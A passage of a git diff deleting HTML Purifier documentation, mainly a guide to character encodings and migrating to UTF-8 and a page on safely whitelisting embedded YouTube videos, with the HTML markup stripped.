    In fact, the META tag is -designed as a substitute for the HTTP header for contexts where -sending headers is impossible (such as locally stored files without -a webserver). Thus the name http-equiv (HTTP equivalent). -

    - -

    There are two ways to go about fixing this: changing the META -tag to match the HTTP header, or changing the HTTP header to match -the META tag. How do we know which to do? It depends -on the website's content: after all, headers and tags are only ways of -describing the actual characters on the web page.

    - -

    If your website:

    - -
    -
    ...only uses ASCII characters,
    -
    Either way is fine, but I recommend switching both to - UTF-8 (more on this later).
    -
    ...uses special characters, and they display - properly,
    -
    Change the embedded encoding to the server encoding.
    -
    ...uses special characters, but users often complain that - they come out garbled,
    -
    Change the server encoding to the embedded encoding.
    -
    - -

    Changing a META tag is easy: just swap out the old encoding -for the new. Changing the server (HTTP header) encoding, however, -is slightly more difficult.

    - -

    Changing the server encoding

    - -

    PHP header() function

    - -

    The simplest way to handle this problem is to send the encoding -yourself, via your programming language. Since you're using HTML -Purifier, I'll assume PHP, although it's not too difficult to do -similar things in -other -languages. The appropriate code is:

    - -
    header('Content-Type:text/html; charset=UTF-8');
    - -

    ...replacing UTF-8 with whatever your embedded encoding is. -This code must come before any output, so be careful about -stray whitespace in your application (i.e., any whitespace before -output excluding whitespace within <?php ?> tags).

    - -

    PHP ini directive

    - -

    PHP also has a neat little ini directive that can save you a -header call: default_charset. Using this code:

    - -
    ini_set('default_charset', 'UTF-8');
    - -

    ...will also do the trick. If PHP is running as an Apache module (and -not as FastCGI, consult -phpinfo() for details), you can even use htaccess to apply this property -across many PHP files:

    - -
    php_value default_charset "UTF-8"
    - -

    As with all INI directives, this can -also go in your php.ini file. Some hosting providers allow you to customize -your own php.ini file, ask your support for details. Use:

    -
    default_charset = "utf-8"
    - -

    Non-PHP

    - -

    You may, for whatever reason, need to set the character encoding -on non-PHP files, usually plain ol' HTML files. Doing this -is more of a hit-or-miss process: depending on the software being -used as a webserver and the configuration of that software, certain -techniques may work, or may not work.

    - -

    .htaccess

    - -

    On Apache, you can use an .htaccess file to change the character -encoding. I'll defer to -W3C -for the in-depth explanation, but it boils down to creating a file -named .htaccess with the contents:

    - -
    AddCharset UTF-8 .html
    - -

    Where UTF-8 is replaced with the character encoding you want to -use and .html is a file extension that this will be applied to. This -character encoding will then be set for any file directly in -or in the subdirectories of directory you place this file in.

    - -

    If you're feeling particularly courageous, you can use:

    - -
    AddDefaultCharset UTF-8
    - -

    ...which changes the character set Apache adds to any document that -doesn't have any Content-Type parameters. This directive, which the -default configuration file sets to iso-8859-1 for security -reasons, is probably why your headers mismatch -with the META tag. If you would prefer Apache not to be -butting in on your character encodings, you can tell it not -to send anything at all:

    - -
    AddDefaultCharset Off
    - -

    ...making your internal charset declaration (usually the META tags) -the sole source of character encoding -information. In these cases, it is especially important to make -sure you have valid META tags on your pages and all the -text before them is ASCII.

    - -

    These directives can also be -placed in httpd.conf file for Apache, but -in most shared hosting situations you won't be able to edit this file. -

    - -

    File extensions

    - -

    If you're not allowed to use .htaccess files, you can often -piggy-back off of Apache's default AddCharset declarations to get -your files in the proper extension. Here are Apache's default -character set declarations:

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CharsetFile extension(s)
    ISO-8859-1.iso8859-1 .latin1
    ISO-8859-2.iso8859-2 .latin2 .cen
    ISO-8859-3.iso8859-3 .latin3
    ISO-8859-4.iso8859-4 .latin4
    ISO-8859-5.iso8859-5 .latin5 .cyr .iso-ru
    ISO-8859-6.iso8859-6 .latin6 .arb
    ISO-8859-7.iso8859-7 .latin7 .grk
    ISO-8859-8.iso8859-8 .latin8 .heb
    ISO-8859-9.iso8859-9 .latin9 .trk
    ISO-2022-JP.iso2022-jp .jis
    ISO-2022-KR.iso2022-kr .kis
    ISO-2022-CN.iso2022-cn .cis
    Big5.Big5 .big5 .b5
    WINDOWS-1251.cp-1251 .win-1251
    CP866.cp866
    KOI8-r.koi8-r .koi8-ru
    KOI8-ru.koi8-uk .ua
    ISO-10646-UCS-2.ucs2
    ISO-10646-UCS-4.ucs4
    UTF-8.utf8
    GB2312.gb2312 .gb
    utf-7.utf7
    EUC-TW.euc-tw
    EUC-JP.euc-jp
    EUC-KR.euc-kr
    shift_jis.sjis
    - -

    So, for example, a file named page.utf8.html or -page.html.utf8 will probably be sent with the UTF-8 charset -attached, the difference being that if there is an -AddCharset charset .html declaration, it will override -the .utf8 extension in page.utf8.html (precedence moves -from right to left). By default, Apache has no such declaration.

    - -

    Microsoft IIS

    - -

    If anyone can contribute information on how to configure Microsoft -IIS to change character encodings, I'd be grateful.

    - -

    XML

    - -

    META tags are the most common source of embedded -encodings, but they can also come from somewhere else: XML -Declarations. They look like:

    - -
    <?xml version="1.0" encoding="UTF-8"?>
    - -

    ...and are most often found in XML documents (including XHTML).

    - -

    For XHTML, this XML Declaration theoretically -overrides the META tag. In reality, this happens only when the -XHTML is actually served as legit XML and not HTML, which is almost always -never due to Internet Explorer's lack of support for -application/xhtml+xml (even though doing so is often -argued to be good -practice and is required by the XHTML 1.1 specification).

    - -

    For XML, however, this XML Declaration is extremely important. -Since most webservers are not configured to send charsets for .xml files, -this is the only thing a parser has to go on. Furthermore, the default -for XML files is UTF-8, which often butts heads with more common -ISO-8859-1 encoding (you see this in garbled RSS feeds).

    - -

    In short, if you use XHTML and have gone through the -trouble of adding the XML Declaration, make sure it jives -with your META tags (which should only be present -if served in text/html) and HTTP headers.

    - -

    Inside the process

    - -

    This section is not required reading, -but may answer some of your questions on what's going on in all -this character encoding hocus pocus. If you're interested in -moving on to the next phase, skip this section.

    - -

    A logical question that follows all of our wheeling and dealing -with multiple sources of character encodings is "Why are there -so many options?" To answer this question, we have to turn -back our definition of character encodings: they allow a program -to interpret bytes into human-readable characters.

    - -

    Thus, a chicken-egg problem: a character encoding -is necessary to interpret the -text of a document. A META tag is in the text of a document. -The META tag gives the character encoding. How can we -determine the contents of a META tag, inside the text, -if we don't know it's character encoding? And how do we figure out -the character encoding, if we don't know the contents of the -META tag?

    - -

    Fortunately for us, the characters we need to write the -META are in ASCII, which is pretty much universal -over every character encoding that is in common use today. So, -all the web-browser has to do is parse all the way down until -it gets to the Content-Type tag, extract the character encoding -tag, then re-parse the document according to this new information.

    - -

    Obviously this is complicated, so browsers prefer the simpler -and more efficient solution: get the character encoding from a -somewhere other than the document itself, i.e. the HTTP headers, -much to the chagrin of HTML authors who can't set these headers.

    - -

    Why UTF-8?

    - -

    So, you've gone through all the trouble of ensuring that your -server and embedded characters all line up properly and are -present. Good job: at -this point, you could quit and rest easy knowing that your pages -are not vulnerable to character encoding style XSS attacks. -However, just as having a character encoding is better than -having no character encoding at all, having UTF-8 as your -character encoding is better than having some other random -character encoding, and the next step is to convert to UTF-8. -But why?

    - -

    Internationalization

    - -

    Many software projects, at one point or another, suddenly realize -that they should be supporting more than one language. Even regular -usage in one language sometimes requires the occasional special character -that, without surprise, is not available in your character set. Sometimes -developers get around this by adding support for multiple encodings: when -using Chinese, use Big5, when using Japanese, use Shift-JIS, when -using Greek, etc. Other times, they use character references with great -zeal.

    - -

    UTF-8, however, obviates the need for any of these complicated -measures. After getting the system to use UTF-8 and adjusting for -sources that are outside the hand of the browser (more on this later), -UTF-8 just works. You can use it for any language, even many languages -at once, you don't have to worry about managing multiple encodings, -you don't have to use those user-unfriendly entities.

    - -

    User-friendly

    - -

    Websites encoded in Latin-1 (ISO-8859-1) which occasionally need -a special character outside of their scope often will use a character -entity reference to achieve the desired effect. For instance, θ can be -written &theta;, regardless of the character encoding's -support of Greek letters.

    - -

    This works nicely for limited use of special characters, but -say you wanted this sentence of Chinese text: 激光, -這兩個字是甚麼意思. -The ampersand encoded version would look like this:

    - -
    &#28608;&#20809;, &#36889;&#20841;&#20491;&#23383;&#26159;&#29978;&#40636;&#24847;&#24605;
    - -

    Extremely inconvenient for those of us who actually know what -character entities are, totally unintelligible to poor users who don't! -Even the slightly more user-friendly, "intelligible" character -entities like &theta; will leave users who are -uninterested in learning HTML scratching their heads. On the other -hand, if they see θ in an edit box, they'll know that it's a -special character, and treat it accordingly, even if they don't know -how to write that character themselves.

    - -

    Wikipedia is a great case study for -an application that originally used ISO-8859-1 but switched to UTF-8 -when it became far to cumbersome to support foreign languages. Bots -will now actually go through articles and convert character entities -to their corresponding real characters for the sake of user-friendliness -and searchability. See -Meta's -page on special characters for more details. -

    - -

    Forms

    - -

    While we're on the tack of users, how do non-UTF-8 web forms deal -with characters that are outside of their character set? Rather than -discuss what UTF-8 does right, we're going to show what could go wrong -if you didn't use UTF-8 and people tried to use characters outside -of your character encoding.

    - -

    The troubles are large, extensive, and extremely difficult to fix (or, -at least, difficult enough that if you had the time and resources to invest -in doing the fix, you would be probably better off migrating to UTF-8). -There are two types of form submission: application/x-www-form-urlencoded -which is used for GET and by default for POST, and multipart/form-data -which may be used by POST, and is required when you want to upload -files.

    - -

    The following is a summarization of notes from - -FORM submission and i18n. That document contains lots -of useful information, but is written in a rambly manner, so -here I try to get right to the point. (Note: the original has -disappeared off the web, so I am linking to the Web Archive copy.)

    - -

    application/x-www-form-urlencoded

    - -

    This is the Content-Type that GET requests must use, and POST requests -use by default. It involves the ubiquitous percent encoding format that -looks something like: %C3%86. There is no official way of -determining the character encoding of such a request, since the percent -encoding operates on a byte level, so it is usually assumed that it -is the same as the encoding the page containing the form was submitted -in. (RFC 3986 -recommends that textual identifiers be translated to UTF-8; however, browser -compliance is spotty.) You'll run into very few problems -if you only use characters in the character encoding you chose.

    - -

    However, once you start adding characters outside of your encoding -(and this is a lot more common than you may think: take curly -"smart" quotes from Microsoft as an example), -a whole manner of strange things start to happen. Depending on the -browser you're using, they might:

    - -
      -
    • Replace the unsupported characters with useless question marks,
    • -
    • Attempt to fix the characters (example: smart quotes to regular quotes),
    • -
    • Replace the character with a character entity reference, or
    • -
    • Send it anyway as a different character encoding mixed in - with the original encoding (usually Windows-1252 rather than - iso-8859-1 or UTF-8 interspersed in 8-bit)
    • -
    - -

    To properly guard against these behaviors, you'd have to sniff out -the browser agent, compile a database of different behaviors, and -take appropriate conversion action against the string (disregarding -a spate of extremely mysterious, random and devastating bugs Internet -Explorer manifests every once in a while). Or you could -use UTF-8 and rest easy knowing that none of this could possibly happen -since UTF-8 supports every character.

    - -

    multipart/form-data

    - -

    Multipart form submission takes away a lot of the ambiguity -that percent-encoding had: the server now can explicitly ask for -certain encodings, and the client can explicitly tell the server -during the form submission what encoding the fields are in.

    - -

    There are two ways you go with this functionality: leave it -unset and have the browser send in the same encoding as the page, -or set it to UTF-8 and then do another conversion server-side. -Each method has deficiencies, especially the former.

    - -

    If you tell the browser to send the form in the same encoding as -the page, you still have the trouble of what to do with characters -that are outside of the character encoding's range. The behavior, once -again, varies: Firefox 2.0 converts them to character entity references -while Internet Explorer 7.0 mangles them beyond intelligibility. For -serious internationalization purposes, this is not an option.

    - -

    The other possibility is to set Accept-Encoding to UTF-8, which -begs the question: Why aren't you using UTF-8 for everything then? -This route is more palatable, but there's a notable caveat: your data -will come in as UTF-8, so you will have to explicitly convert it into -your favored local character encoding.

    - -

    I object to this approach on idealogical grounds: you're -digging yourself deeper into -the hole when you could have been converting to UTF-8 -instead. And, of course, you can't use this method for GET requests.

    - -

    Well supported

    - -

    Almost every modern browser in the wild today has full UTF-8 and Unicode -support: the number of troublesome cases can be counted with the -fingers of one hand, and these browsers usually have trouble with -other character encodings too. Problems users usually encounter stem -from the lack of appropriate fonts to display the characters (once -again, this applies to all character encodings and HTML entities) or -Internet Explorer's lack of intelligent font picking (which can be -worked around).

    - -

    We will go into more detail about how to deal with edge cases in -the browser world in the Migration section, but rest assured that -converting to UTF-8, if done correctly, will not result in users -hounding you about broken pages.

    - -

    HTML Purifier

    - -

    And finally, we get to HTML Purifier. HTML Purifier is built to -deal with UTF-8: any indications otherwise are the result of an -encoder that converts text from your preferred encoding to UTF-8, and -back again. HTML Purifier never touches anything else, and leaves -it up to the module iconv to do the dirty work.

    - -

    This approach, however, is not perfect. iconv is blithely unaware -of HTML character entities. HTML Purifier, in order to -protect against sophisticated escaping schemes, normalizes all character -and numeric entity references before processing the text. This leads to -one important ramification:

    - -

    Any character that is not supported by the target character -set, regardless of whether or not it is in the form of a character -entity reference or a raw character, will be silently ignored.

    - -

    Example of this principle at work: say you have &theta; -in your HTML, but the output is in Latin-1 (which, understandably, -does not understand Greek), the following process will occur (assuming you've -set the encoding correctly using %Core.Encoding):

    - -
      -
    • The Encoder will transform the text from ISO 8859-1 to UTF-8 - (note that theta is preserved here since it doesn't actually use - any non-ASCII characters): &theta;
    • -
    • The EntityParser will transform all named and numeric - character entities to their corresponding raw UTF-8 equivalents: - θ
    • -
    • HTML Purifier processes the code: θ
    • -
    • The Encoder now transforms the text back from UTF-8 - to ISO 8859-1. Since Greek is not supported by ISO 8859-1, it - will be either ignored or replaced with a question mark: - ?
    • -
    - -

    This behaviour is quite unsatisfactory. It is a deal-breaker for -international applications, and it can be mildly annoying for the provincial -soul who occasionally needs a special character. Since 1.4.0, HTML -Purifier has provided a slightly more palatable workaround using -%Core.EscapeNonASCIICharacters. The process now looks like:

    - -
      -
    • The Encoder transforms encoding to UTF-8: &theta;
    • -
    • The EntityParser transforms entities: θ
    • -
    • HTML Purifier processes the code: θ
    • -
    • The Encoder replaces all non-ASCII characters - with numeric entity reference: &#952;
    • -
    • For good measure, Encoder transforms encoding back to - original (which is strictly unnecessary for 99% of encodings - out there): &#952; (remember, it's all ASCII!)
    • -
    - -

    ...which means that this is only good for an occasional foray into -the land of Unicode characters, and is totally unacceptable for Chinese -or Japanese texts. The even bigger kicker is that, supposing the -input encoding was actually ISO-8859-7, which does support -theta, the character would get converted into a character entity reference -anyway! (The Encoder does not discriminate).

    - -

    The current functionality is about where HTML Purifier will be for -the rest of eternity. HTML Purifier could attempt to preserve the original -form of the character references so that they could be substituted back in, only the -DOM extension kills them off irreversibly. HTML Purifier could also attempt -to be smart and only convert non-ASCII characters that weren't supported -by the target encoding, but that would require reimplementing iconv -with HTML awareness, something I will not do.

    - -

    So there: either it's UTF-8 or crippled international support. Your pick! (and I'm -not being sarcastic here: some people could care less about other languages).

    - -

    Migrate to UTF-8

    - -

    So, you've decided to bite the bullet, and want to migrate to UTF-8. -Note that this is not for the faint-hearted, and you should expect -the process to take longer than you think it will take.

    - -

    The general idea is that you convert all existing text to UTF-8, -and then you set all the headers and META tags we discussed earlier -to UTF-8. There are many ways going about doing this: you could -write a conversion script that runs through the database and re-encodes -everything as UTF-8 or you could do the conversion on the fly when someone -reads the page. The details depend on your system, but I will cover -some of the more subtle points of migration that may trip you up.

    - -

    Configuring your database

    - -

    Most modern databases, the most prominent open-source ones being MySQL -4.1+ and PostgreSQL, support character encodings. If you're switching -to UTF-8, logically speaking, you'd want to make sure your database -knows about the change too. There are some caveats though:

    - -

    Legit method

    - -

    Standardization in terms of SQL syntax for specifying character -encodings is notoriously spotty. Refer to your respective database's -documentation on how to do this properly.

    - -

    For MySQL, ALTER will magically perform the -character encoding conversion for you. However, you have -to make sure that the text inside the column is what is says it is: -if you had put Shift-JIS in an ISO 8859-1 column, MySQL will irreversibly mangle -the text when you try to convert it to UTF-8. You'll have to convert -it to a binary field, convert it to a Shift-JIS field (the real encoding), -and then finally to UTF-8. Many a website had pages irreversibly mangled -because they didn't realize that they'd been deluding themselves about -the character encoding all along; don't become the next victim.

    - -

    For PostgreSQL, there appears to be no direct way to change the -encoding of a database (as of 8.2). You will have to dump the data, and then reimport -it into a new table. Make sure that your client encoding is set properly: -this is how PostgreSQL knows to perform an encoding conversion.

    - -

    Many times, you will be also asked about the "collation" of -the new column. Collation is how a DBMS sorts text, like ordering -B, C and A into A, B and C (the problem gets surprisingly complicated -when you get to languages like Thai and Japanese). If in doubt, -going with the default setting is usually a safe bet.

    - -

    Once the conversion is all said and done, you still have to remember -to set the client encoding (your encoding) properly on each database -connection using SET NAMES (which is standard SQL and is -usually supported).

    - -

    Binary

    - -

    Due to the aforementioned compatibility issues, a more interoperable -way of storing UTF-8 text is to stuff it in a binary datatype. -CHAR becomes BINARY, VARCHAR becomes -VARBINARY and TEXT becomes BLOB. -Doing so can save you some huge headaches:

    - -
      -
    • The syntax for binary data types is very portable,
    • -
    • MySQL 4.0 has no support for character encodings, so - if you want to support it you have to use binary,
    • -
    • MySQL, as of 5.1, has no support for four byte UTF-8 characters, - which represent characters beyond the basic multilingual - plane, and
    • -
    • You will never have to worry about your DBMS being too smart - and attempting to convert your text when you don't want it to.
    • -
    - -

    MediaWiki, a very prominent international application, uses binary fields -for storing their data because of point three.

    - -

    There are drawbacks, of course:

    - -
      -
    • Database tools like PHPMyAdmin won't be able to offer you inline - text editing, since it is declared as binary,
    • -
    • It's not semantically correct: it's really text not binary - (lying to the database),
    • -
    • Unless you use the not-very-portable wizardry mentioned above, - you have to change the encoding yourself (usually, you'd do - it on the fly), and
    • -
    • You will not have collation.
    • -
    - -

    Choose based on your circumstances.

    - -

    Text editor

    - -

    For more flat-file oriented systems, you will often be tasked with -converting reams of existing text and HTML files into UTF-8, as well as -making sure that all new files uploaded are properly encoded. Once again, -I can only point vaguely in the right direction for converting your -existing files: make sure you backup, make sure you use -iconv(), and -make sure you know what the original character encoding of the files -is (or are, depending on the tidiness of your system).

    - -

    However, I can proffer more specific advice on the subject of -text editors. Many text editors have notoriously spotty Unicode support. -To find out how your editor is doing, you can check out this list -or Wikipedia's list. -I personally use Notepad++, which works like a charm when it comes to UTF-8. -Usually, you will have to explicitly tell the editor through some dialogue -(usually Save as or Format) what encoding you want it to use. An editor -will often offer "Unicode" as a method of saving, which is -ambiguous. Make sure you know whether or not they really mean UTF-8 -or UTF-16 (which is another flavor of Unicode).

    - -

    The two things to look out for are whether or not the editor -supports font mixing (multiple -fonts in one document) and whether or not it adds a BOM. -Font mixing is important because fonts rarely have support for every -language known to mankind: in order to be flexible, an editor must -be able to take a little from here and a little from there, otherwise -all your Chinese characters will come as nice boxes. We'll discuss -BOM below.

    - -

    Byte Order Mark (headers already sent!)

    - -

    The BOM, or Byte -Order Mark, is a magical, invisible character placed at -the beginning of UTF-8 files to tell people what the encoding is and -what the endianness of the text is. It is also unnecessary.

    - -

    Because it's invisible, it often -catches people by surprise when it starts doing things it shouldn't -be doing. For example, this PHP file:

    - -
    BOM<?php
    -header('Location: index.php');
    -?>
    - -

    ...will fail with the all too familiar Headers already sent -PHP error. And because the BOM is invisible, this culprit will go unnoticed. -My suggestion is to only use ASCII in PHP pages, but if you must, make -sure the page is saved WITHOUT the BOM.

    - -
    -

    The headers the error is referring to are HTTP headers, - which are sent to the browser before any HTML to tell it various - information. The moment any regular text (and yes, a BOM counts as - ordinary text) is output, the headers must be sent, and you are - not allowed to send anymore. Thus, the error.

    -
    - -

    If you are reading in text files to insert into the middle of another -page, it is strongly advised (but not strictly necessary) that you replace out the UTF-8 byte -sequence for BOM "\xEF\xBB\xBF" before inserting it in, -via:

    - -
    $text = str_replace("\xEF\xBB\xBF", '', $text);
    - -

    Fonts

    - -

    Generally speaking, people who are having trouble with fonts fall -into two categories:

    - -
      -
    • Those who want to -use an extremely obscure language for which there is very little -support even among native speakers of the language, and
    • -
    • Those where the primary language of the text is -well-supported but there are occasional characters -that aren't supported.
    • -
    - -

    Yes, there's always a chance where an English user happens across -a Sinhalese website and doesn't have the right font. But an English user -who happens not to have the right fonts probably has no business reading Sinhalese -anyway. So we'll deal with the other two edge cases.

    - -

    Obscure scripts

    - -

    If you run a Bengali website, you may get comments from users who -would like to read your website but get heaps of question marks or -other meaningless characters. Fixing this problem requires the -installation of a font or language pack which is often highly -dependent on what the language is. Here is an example -of such a help file for the Bengali language; I am sure there are -others out there too. You just have to point users to the appropriate -help file.

    - -

    Occasional use

    - -

    A prime example of when you'll see some very obscure Unicode -characters embedded in what otherwise would be very bland ASCII are -letters of the -International -Phonetic Alphabet (IPA), use to designate pronunciations in a very standard -manner (you probably see them all the time in your dictionary). Your -average font probably won't have support for all of the IPA characters -like ʘ (bilabial click) or ʒ (voiced postalveolar fricative). -So what's a poor browser to do? Font mix! Smart browsers like Mozilla Firefox -and Internet Explorer 7 will borrow glyphs from other fonts in order -to make sure that all the characters display properly.

    - -

    But what happens when the browser isn't smart and happens to be the -most widely used browser in the entire world? Microsoft IE 6 -is not smart enough to borrow from other fonts when a character isn't -present, so more often than not you'll be slapped with a nice big �. -To get things to work, MSIE 6 needs a little nudge. You could configure it -to use a different font to render the text, but you can achieve the same -effect by selectively changing the font for blocks of special characters -to known good Unicode fonts.

    - -

    Fortunately, the folks over at Wikipedia have already done all the -heavy lifting for you. Get the CSS from the horses mouth here: -Common.css, -and search for ".IPA" There are also a smattering of -other classes you can use for other purposes, check out -this page -for more details. For you lazy ones, this should work:

    - -
    .Unicode {
    -        font-family: Code2000, "TITUS Cyberbit Basic", "Doulos SIL",
    -            "Chrysanthi Unicode", "Bitstream Cyberbit",
    -            "Bitstream CyberBase", Thryomanes, Gentium, GentiumAlt,
    -            "Lucida Grande", "Arial Unicode MS", "Microsoft Sans Serif",
    -            "Lucida Sans Unicode";
    -        font-family /**/:inherit; /* resets fonts for everyone but IE6 */
    -}
    - -

    The standard usage goes along the lines of <span class="Unicode">Crazy -Unicode stuff here</span>. Characters in the -Windows Glyph List -usually don't need to be fixed, but for anything else you probably -want to play it safe. Unless, of course, you don't care about IE6 -users.

    - -

    Dealing with variable width in functions

    - -

    When people claim that PHP6 will solve all our Unicode problems, they're -misinformed. It will not fix any of the aforementioned troubles. It will, -however, fix the problem we are about to discuss: processing UTF-8 text -in PHP.

    - -

    PHP (as of PHP5) is blithely unaware of the existence of UTF-8 (with a few -notable exceptions). Sometimes, this will cause problems, other times, -this won't. So far, we've avoided discussing the architecture of -UTF-8, so, we must first ask, what is UTF-8? Yes, it supports Unicode, -and yes, it is variable width. Other traits:

    - -
      -
    • Every character's byte sequence is unique and will never be found - inside the byte sequence of another character,
    • -
    • UTF-8 may use up to four bytes to encode a character,
    • -
    • UTF-8 text must be checked for well-formedness,
    • -
    • Pure ASCII is also valid UTF-8, and
    • -
    • Binary sorting will sort UTF-8 in the same order as Unicode.
    • -
    - -

    Each of these traits affect different domains of text processing -in different ways. It is beyond the scope of this document to explain -what precisely these implications are. PHPWact provides -a very good reference document -on what to expect from each function, although coverage is spotty in -some areas. Their more general notes on -character sets -are also worth looking at for information on UTF-8. Some rules of thumb -when dealing with Unicode text:

    - -
      -
    • Do not EVER use functions that:
        -
      • ...convert case (strtolower, strtoupper, ucfirst, ucwords)
      • -
      • ...claim to be case-insensitive (str_ireplace, stristr, strcasecmp)
      • -
    • -
    • Think twice before using functions that:
        -
      • ...count characters (strlen will return bytes, not characters; - str_split and word_wrap may corrupt)
      • -
      • ...convert characters to entity references (UTF-8 doesn't need entities)
      • -
      • ...do very complex string processing (*printf)
      • -
    • -
    - -

    Note: this list applies to UTF-8 encoded text only: if you have -a string that you are 100% sure is ASCII, be my guest and use -strtolower (HTML Purifier uses this function.)

    - -

    Regardless, always think in bytes, not characters. If you use strpos() -to find the position of a character, it will be in bytes, but this -usually won't matter since substr() also operates with byte indices!

    - -

    You'll also need to make sure your UTF-8 is well-formed and will -probably need replacements for some of these functions. I recommend -using Harry Fuecks' PHP -UTF-8 library, rather than use mb_string directly. HTML Purifier -also defines a few useful UTF-8 compatible functions: check out -Encoder.php in the /library/HTMLPurifier/ -directory.

    - - - -

    Well, that's it. Hopefully this document has served as a very -practical springboard into knowledge of how UTF-8 works. You may have -decided that you don't want to migrate yet: that's fine, just know -what will happen to your output and what bug reports you may receive.

    - -

    Many other developers have already discussed the subject of Unicode, -UTF-8 and internationalization, and I would like to defer to them for -a more in-depth look into character sets and encodings.

    - - - - - - - diff --git a/classes/security/htmlpurifier/docs/enduser-youtube.html b/classes/security/htmlpurifier/docs/enduser-youtube.html deleted file mode 100644 index 87a36b9aa..000000000 --- a/classes/security/htmlpurifier/docs/enduser-youtube.html +++ /dev/null @@ -1,153 +0,0 @@ - - - - - - - -Embedding YouTube Videos - HTML Purifier - - - -

    Embedding YouTube Videos

    -
    ...as well as other dangerous active content
    - -
    Filed under End-User
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    Clients like their YouTube videos. It gives them a warm fuzzy feeling when -they see a neat little embedded video player on their websites that can play -the latest clips from their documentary "Fido and the Bones of Spring". -All joking aside, the ability to embed YouTube videos or other active -content in their pages is something that a lot of people like.

    - -

    This is a bad idea. The moment you embed anything untrusted, -you will definitely be slammed by a manner of nasties that can be -embedded in things from your run of the mill Flash movie to -Quicktime movies. -Even img tags, which HTML Purifier allows by default, can be -dangerous. Be distrustful of anything that tells a browser to load content -from another website automatically.

    - -

    Luckily for us, however, whitelisting saves the day. Sure, letting users -include any old random flash file could be dangerous, but if it's -from a specific website, it probably is okay. If no amount of pleading will -convince the people upstairs that they should just settle with just linking -to their movies, you may find this technique very useful.

    - -

    Looking in

    - -

    Below is custom code that allows users to embed -YouTube videos. This is not favoritism: this trick can easily be adapted for -other forms of embeddable content.

    - -

    Usually, websites like YouTube give us boilerplate code that you can insert -into your documents. YouTube's code goes like this:

    - -
    -<object width="425" height="350">
    -  <param name="movie" value="http://www.youtube.com/v/AyPzM5WK8ys" />
    -  <param name="wmode" value="transparent" />
    -  <embed src="http://www.youtube.com/v/AyPzM5WK8ys"
    -         type="application/x-shockwave-flash"
    -         wmode="transparent" width="425" height="350" />
    -</object>
    -
    - -

    There are two things to note about this code:

    - -
      -
    1. <embed> is not recognized by W3C, so if you want - standards-compliant code, you'll have to get rid of it.
    2. -
    3. The code is exactly the same for all instances, except for the - identifier AyPzM5WK8ys which tells us which movie file - to retrieve.
    4. -
    - -

    What point 2 means is that if we have code like <span -class="youtube-embed">AyPzM5WK8ys</span> your -application can reconstruct the full object from this small snippet that -passes through HTML Purifier unharmed. -Show me the code!

    - -

    And the corresponding usage:

    - -
    <?php
    -    $config->set('Filter.YouTube', true);
    -?>
    - -

    There is a bit going in the two code snippets, so let's explain.

    - -
      -
    1. This is a Filter object, which intercepts the HTML that is - coming into and out of the purifier. You can add as many - filter objects as you like. preFilter() - processes the code before it gets purified, and postFilter() - processes the code afterwards. So, we'll use preFilter() to - replace the object tag with a span, and postFilter() - to restore it.
    2. -
    3. The first preg_replace call replaces any YouTube code users may have - embedded into the benign span tag. Span is used because it is inline, - and objects are inline too. We are very careful to be extremely - restrictive on what goes inside the span tag, as if an errant code - gets in there it could get messy.
    4. -
    5. The HTML is then purified as usual.
    6. -
    7. Then, another preg_replace replaces the span tag with a fully fledged - object. Note that the embed is removed, and, in its place, a data - attribute was added to the object. This makes the tag standards - compliant! It also breaks Internet Explorer, so we add in a bit of - conditional comments with the old embed code to make it work again. - It's all quite convoluted but works.
    8. -
    - -

    Warning

    - -

    There are a number of possible problems with the code above, depending -on how you look at it.

    - -

    Cannot change width and height

    - -

    The width and height of the final YouTube movie cannot be adjusted. This -is because I am lazy. If you really insist on letting users change the size -of the movie, what you need to do is package up the attributes inside the -span tag (along with the movie ID). It gets complicated though: a malicious -user can specify an outrageously large height and width and attempt to crash -the user's operating system/browser. You need to either cap it by limiting -the amount of digits allowed in the regex or using a callback to check the -number.

    - -

    Trusts media's host's security

    - -

    By allowing this code onto our website, we are trusting that YouTube has -tech-savvy enough people not to allow their users to inject malicious -code into the Flash files. An exploit on YouTube means an exploit on your -site. Even though YouTube is run by the reputable Google, it -doesn't -mean they are -invulnerable. -You're putting a certain measure of the job on an external provider (just as -you have by entrusting your user input to HTML Purifier), and -it is important that you are cognizant of the risk.

    - -

    Poorly written adaptations compromise security

    - -

    This should go without saying, but if you're going to adapt this code -for Google Video or the like, make sure you do it right. It's -extremely easy to allow a character too many in postFilter() and -suddenly you're introducing XSS into HTML Purifier's XSS free output. HTML -Purifier may be well written, but it cannot guard against vulnerabilities -introduced after it has finished.

    - -

    Help out!

    - -

    If you write a filter for your favorite video destination (or anything -like that, for that matter), send it over and it might get included -with the core!

    - - - - - diff --git a/classes/security/htmlpurifier/docs/entities/xhtml-lat1.ent b/classes/security/htmlpurifier/docs/entities/xhtml-lat1.ent deleted file mode 100644 index ffee223eb..000000000 --- a/classes/security/htmlpurifier/docs/entities/xhtml-lat1.ent +++ /dev/null @@ -1,196 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/classes/security/htmlpurifier/docs/entities/xhtml-special.ent b/classes/security/htmlpurifier/docs/entities/xhtml-special.ent deleted file mode 100644 index ca358b2fe..000000000 --- a/classes/security/htmlpurifier/docs/entities/xhtml-special.ent +++ /dev/null @@ -1,80 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/classes/security/htmlpurifier/docs/entities/xhtml-symbol.ent b/classes/security/htmlpurifier/docs/entities/xhtml-symbol.ent deleted file mode 100644 index 63c2abfa6..000000000 --- a/classes/security/htmlpurifier/docs/entities/xhtml-symbol.ent +++ /dev/null @@ -1,237 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/classes/security/htmlpurifier/docs/examples/basic.php b/classes/security/htmlpurifier/docs/examples/basic.php deleted file mode 100644 index b51096d2d..000000000 --- a/classes/security/htmlpurifier/docs/examples/basic.php +++ /dev/null @@ -1,23 +0,0 @@ -set('Core.Encoding', 'UTF-8'); // replace with your encoding -$config->set('HTML.Doctype', 